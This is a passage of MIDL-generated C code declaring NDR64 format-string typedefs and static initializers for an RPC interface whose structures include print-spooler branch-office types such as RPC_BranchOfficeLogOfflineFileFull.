frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag17;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag18;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag19;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag20;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag21;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag22;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag23;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag24;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag25;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag26;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag27;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag28;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag29;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag30;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag31;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag32;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag33;\n    } frag2;\n}\n__midl_frag133_t;\nextern const __midl_frag133_t __midl_frag133;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag132_t;\nextern const __midl_frag132_t __midl_frag132;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag131_t;\nextern const __midl_frag131_t __midl_frag131;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag130_t;\nextern const __midl_frag130_t __midl_frag130;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag17;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag18;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag19;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag20;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag21;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag22;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag23;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag24;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag25;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag26;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag27;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag28;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag29;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag30;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag31;\n        struct _NDR64_MEMPAD_FORMAT frag32;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag33;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag34;\n    } frag2;\n}\n__midl_frag118_t;\nextern const __midl_frag118_t __midl_frag118;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag117_t;\nextern const __midl_frag117_t __midl_frag117;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n    struct _NDR64_POINTER_FORMAT frag6;\n}\n__midl_frag116_t;\nextern const __midl_frag116_t __midl_frag116;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag17;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag18;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag19;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag20;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag21;\n        struct _NDR64_MEMPAD_FORMAT frag22;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag23;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag24;\n    } frag2;\n}\n__midl_frag109_t;\nextern const __midl_frag109_t __midl_frag109;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag108_t;\nextern const __midl_frag108_t __midl_frag108;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag107_t;\nextern const __midl_frag107_t __midl_frag107;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    NDR64_UINT32 frag7;\n}\n__midl_frag106_t;\nextern const __midl_frag106_t __midl_frag106;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag105_t;\nextern const __midl_frag105_t __midl_frag105;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag104_t;\nextern const __midl_frag104_t __midl_frag104;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag101_t;\nextern const __midl_frag101_t __midl_frag101;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag99_t;\nextern const __midl_frag99_t __midl_frag99;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag98_t;\nextern const __midl_frag98_t __midl_frag98;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag97_t;\nextern const __midl_frag97_t __midl_frag97;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag96_t;\nextern const __midl_frag96_t __midl_frag96;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag93_t;\nextern const __midl_frag93_t __midl_frag93;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag92_t;\nextern const __midl_frag92_t __midl_frag92;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag89_t;\nextern const __midl_frag89_t __midl_frag89;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag88_t;\nextern const __midl_frag88_t __midl_frag88;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag84_t;\nextern const __midl_frag84_t __midl_frag84;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag83_t;\nextern const __midl_frag83_t __midl_frag83;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag82_t;\nextern const __midl_frag82_t __midl_frag82;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag81_t;\nextern const __midl_frag81_t __midl_frag81;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        NDR64_FORMAT_CHAR frag7;\n    } frag2;\n}\n__midl_frag78_t;\nextern const __midl_frag78_t __midl_frag78;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag77_t;\nextern const __midl_frag77_t __midl_frag77;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        NDR64_FORMAT_CHAR frag7;\n    } frag2;\n}\n__midl_frag74_t;\nextern const __midl_frag74_t __midl_frag74;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag73_t;\nextern const __midl_frag73_t __midl_frag73;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag72_t;\nextern const __midl_frag72_t __midl_frag72;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag71_t;\nextern const __midl_frag71_t __midl_frag71;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n}\n__midl_frag70_t;\nextern const __midl_frag70_t __midl_frag70;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag69_t;\nextern const __midl_frag69_t __midl_frag69;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag67_t;\nextern const __midl_frag67_t __midl_frag67;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag66_t;\nextern const __midl_frag66_t __midl_frag66;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag65_t;\nextern const __midl_frag65_t __midl_frag65;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_MEMPAD_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n    } frag2;\n}\n__midl_frag64_t;\nextern const __midl_frag64_t __midl_frag64;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag59_t;\nextern const __midl_frag59_t __midl_frag59;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        struct _NDR64_NO_REPEAT_FORMAT frag7;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8;\n        struct _NDR64_POINTER_FORMAT frag9;\n        struct _NDR64_NO_REPEAT_FORMAT frag10;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag11;\n        struct _NDR64_POINTER_FORMAT frag12;\n        struct _NDR64_NO_REPEAT_FORMAT frag13;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag14;\n        struct _NDR64_POINTER_FORMAT frag15;\n        struct _NDR64_NO_REPEAT_FORMAT frag16;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag17;\n        struct _NDR64_POINTER_FORMAT frag18;\n        struct _NDR64_NO_REPEAT_FORMAT frag19;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag20;\n        struct _NDR64_POINTER_FORMAT frag21;\n        struct _NDR64_NO_REPEAT_FORMAT frag22;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag23;\n        struct _NDR64_POINTER_FORMAT frag24;\n        struct _NDR64_NO_REPEAT_FORMAT frag25;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag26;\n        struct _NDR64_POINTER_FORMAT frag27;\n        struct _NDR64_NO_REPEAT_FORMAT frag28;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag29;\n        struct _NDR64_POINTER_FORMAT frag30;\n        struct _NDR64_NO_REPEAT_FORMAT frag31;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag32;\n        struct _NDR64_POINTER_FORMAT frag33;\n        struct _NDR64_NO_REPEAT_FORMAT frag34;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag35;\n        struct _NDR64_POINTER_FORMAT frag36;\n        struct _NDR64_NO_REPEAT_FORMAT frag37;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag38;\n        struct _NDR64_POINTER_FORMAT frag39;\n        NDR64_FORMAT_CHAR frag40;\n    } frag2;\n}\n__midl_frag51_t;\nextern const __midl_frag51_t __midl_frag51;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag50_t;\nextern const __midl_frag50_t __midl_frag50;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n}\n__midl_frag49_t;\nextern const __midl_frag49_t __midl_frag49;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n    } frag2;\n}\n__midl_frag45_t;\nextern const __midl_frag45_t __midl_frag45;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag44_t;\nextern const __midl_frag44_t __midl_frag44;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        NDR64_FORMAT_CHAR frag7;\n    } frag2;\n}\n__midl_frag41_t;\nextern const __midl_frag41_t __midl_frag41;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag40_t;\nextern const __midl_frag40_t __midl_frag40;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag39_t;\nextern const __midl_frag39_t __midl_frag39;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    struct _NDR64_UNION_ARM frag8;\n    struct _NDR64_UNION_ARM frag9;\n    struct _NDR64_UNION_ARM frag10;\n    struct _NDR64_UNION_ARM frag11;\n    struct _NDR64_UNION_ARM frag12;\n    NDR64_UINT32 frag13;\n}\n__midl_frag38_t;\nextern const __midl_frag38_t __midl_frag38;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag37_t;\nextern const __midl_frag37_t __midl_frag37;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag33_t;\nextern const __midl_frag33_t __midl_frag33;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n}\n__midl_frag31_t;\nextern const __midl_frag31_t __midl_frag31;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_MEMPAD_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_MEMPAD_FORMAT frag11;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n    } frag2;\n}\n__midl_frag28_t;\nextern const __midl_frag28_t __midl_frag28;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag27_t;\nextern const __midl_frag27_t __midl_frag27;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag26_t;\nextern const __midl_frag26_t __midl_frag26;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag25_t;\nextern const __midl_frag25_t __midl_frag25;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_MEMPAD_FORMAT frag9;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n    } frag2;\n}\n__midl_frag21_t;\nextern const __midl_frag21_t __midl_frag21;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag20_t;\nextern const __midl_frag20_t __midl_frag20;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    NDR64_UINT32 frag6;\n}\n__midl_frag18_t;\nextern const __midl_frag18_t __midl_frag18;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag17_t;\nextern const __midl_frag17_t __midl_frag17;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag14_t;\nextern const __midl_frag14_t __midl_frag14;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag11_t;\nextern const __midl_frag11_t __midl_frag11;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag10_t;\nextern const __midl_frag10_t __midl_frag10;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag2_t;\nextern const __midl_frag2_t __midl_frag2;\n\ntypedef \nNDR64_FORMAT_UINT32\n__midl_frag1_t;\nextern const __midl_frag1_t __midl_frag1;\n\nstatic const __midl_frag1103_t __midl_frag1103 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag1102_t __midl_frag1102 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag1101_t __midl_frag1101 =\n{ \n/* RPC_BranchOfficeLogOfflineFileFull */\n    { \n    /* RPC_BranchOfficeLogOfflineFileFull */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_BranchOfficeLogOfflineFileFull */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag1097_t __midl_frag1097 =\n{ \n/* RPC_BranchOfficeJobDataPipelineFailed */\n    { \n    /* RPC_BranchOfficeJobDataPipelineFailed */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_BranchOfficeJobDataPipelineFailed */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct 